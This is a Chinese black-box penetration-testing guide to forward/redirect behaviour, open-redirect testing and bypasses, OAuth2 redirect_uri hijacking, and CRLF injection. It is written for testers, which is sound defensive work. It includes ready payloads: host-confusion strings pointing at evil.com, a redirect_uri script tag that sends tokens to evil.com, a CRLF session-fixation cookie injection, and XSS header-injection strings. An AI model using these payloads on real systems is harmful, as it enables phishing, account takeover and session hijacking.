- forward(转发)
是在服务器端的跳转，就是客户端一个请求发给 服务器，服务器直接将请求相关的参数的信息原 封不动的传递到该服务器的其他jsp或servlet去处 理。
- sendredirect(重定向)
是在客户端的跳转，服务器会返回给客户端一个响应报头和新的url地址，原来的参数什么的信息如果服务器端没有特别处理就不存在了，浏览器会访问新的url所指向的servlet或jsp，这可能不是原先服务器上的webservice了。
- 重定向和转发的对比
转发在服务端完成，重定向是在客户端完成的
转发的速度快，重定向速度慢
转发的是同一次请求，重定向是两次不同的请求
转发不会执行转发后的代码，重定向会执行重定向之后的代码
转发地址栏没有变化，重定向地址栏有变化
转发必须是在同一台服务器下完成，重定向可以在不同的服务器下完成
一.攻击场景
- 不安全的跳转
许多应用系统都会有跳转的功能，常出现在登录页面，如果还没登录，则跳转至登录页面，如验证成功，则跳转到系统主页面。另一种常出现在系统出现异常时跳转到定制的错误页面。如果这些跳转的url可被任意修改，然后把整个url发送给受害者，则可能存在钓鱼攻击。
- 测试方法
首先查找所有存在的跳转的URL。查找方法:使用代理工具burpsuite记录所有的请求和响应然后从记录的请求和响应中搜索关键字，如redirect,service等，找到存在跳转的url.
URL链接一般是http://127.0.0.1/test/test.jsp?service=http://xxx.com
将service后面的URL改成任意网址，如www.bcbccb.cn，如果能跳转到该网址，则说明存在漏洞，有些系统限制以为限制在同一局域网就没事，其实这不能排除攻击者在内网搭建钓鱼服务器进行攻击，所以如果可以的话尽量设置成白名单只限制跳转到确定的url.
- URL跳转的绕过方法
如果产品做了部分校验可能没办法直接替换URL这时可考虑绕过校验，进行非法跳转，
绕过场景示例：
http://[email protected]与http://127.0.0.1请求是相同的
115.239.210.26与16373751032 IP转换绕过
同域下其他重定向漏洞结合利用:
http://www.test.com/a?url=http://www.test.com/b?url=bcbccb.cn
- 测试方法
- 利用后端与浏览器解析host的差异
不同的浏览器内核，对于同一个URL，解析出来的host是不一样的。利用这个特点，可以构造特殊的URL，从而达到绕过的目的。
例如:
有一个URL如下：
url=http://www.bcbccb.cn\test.com/index.php
后端：host=test.com
使用不同的浏览器，解析出的host如下表所示，利用能解析出bcbccb.cn的浏览器进行访问，即可获得跳转到bcbccb.cn的效果。
- OAuth2.0中的URL重定向
OAuth是一个开放标准，允许用户授权第三方网站访问他们存储在另外的服务提供者上的信息，而不需要将用户名和密码提供给第三方网站或分享他们数据的所有内容。
根据OAuth的认证流程，用户授权凭证会由服务器转发到redirect_uri对应的地址，如果攻击者伪造redirect_uri为自己的地址，然后诱导用户发送该请求，之后获取的凭证就会发送给攻击者伪造的回调地址，攻击者使用该凭证即可登录用户账号，造成授权劫持。
- 认证服务器未验证redirect_uri,直接跳出主域。
http://api.weibo.com/oauth2/authorize?client_id=123456&……redirect_uri=http://account.youku.com/partner_thirdLoginCallback/tlsite_weibo
http://api.weibo.com/oauth2/authorize?client_id=123456&……redirect_uri=http://www.bcbccb.cn
- 利用认证服务器和浏览器的host解析差异绕过验证
例如:
redirect_uri=author.app.com.evil.com
认证服务器：
host=app.com
浏览器：
host=evil.com
举例：
auth.app.com.evil.com
evil.com?auth.app.com
auth.app.com\@evil.com
evil.com\auth.app.com
evil.com:\auth.app.com
evil.com\.auth.app.com
evil.com:\@auth.app.com
- 子域可控
对回调地址验证了主域，但其子域可被控制。
http://api.weibo.com/oauth2/authorize?client_id=123456&……redirect_uri=https://account.sinaapp.com
http://api.weibo.com/oauth2/authorize?client_id=123456&……redirect_uri=https://evil.sinaapp.com
跨域漏洞
结合可信域的url重定向漏洞或xss漏洞，从referer盗取token。
redirect_uri=http://auth.app.com/redirect.php?url=evil.com
redirect_uri=http://app.com/ajax/car.html?callback=<script src=”http://evil.com?getToken.php”></script>
- CRLF与URL重定向组合
CRLF是回车+换行(\r\n, %0d%0a)的简称
URL重定向通常通过响应头中的Location进行参数指定，当未对跳转参数做判断时，可能导致CRLF Injection攻击。
- 给用户强制推送一个session，造成会话固定攻击。
http://www.app.com/redirect?url=http://www.baidu.com/login%0d%0aset-cookie:JSPSESSID=vulbox
- 通过插入2个CR和LF字符，将恶意代码插入到Response body中，造成反射型XSS漏洞
http://www.app.com/redirect?url=%0d%0a%0d%0a<IMG src=1 onerror=alert(/v587/>
- 浏览器Filter是浏览器应对反射型XSS做的保护策略，可通过设置响应头，关闭该保护策略。
X-XSS-Protection=0
http://www.app.com/redirect?url=%0d%0aX-XSS-Protection=0%0d%0a%0d%0a<IMG src=1 onerror=alert(/v587/>
二.影响
可能导致攻击者利用URL做钓鱼攻击，影响公司声誉。一方面，由于用户的输入会进入Meta,javascript,http头，所以都可能发生响应上下文的漏洞，如xss等等，但是同时，即使只是对于URL跳转本身功能方面就存在一个缺陷，因为会将用户浏览器从可信的站点导向到不可信站点，同时如果跳转的时候带有敏感数据一样可能将敏感数据泄露给不可信的第三方。黑盒渗透测试指导之转发和重定向
Chinese 
English
评论0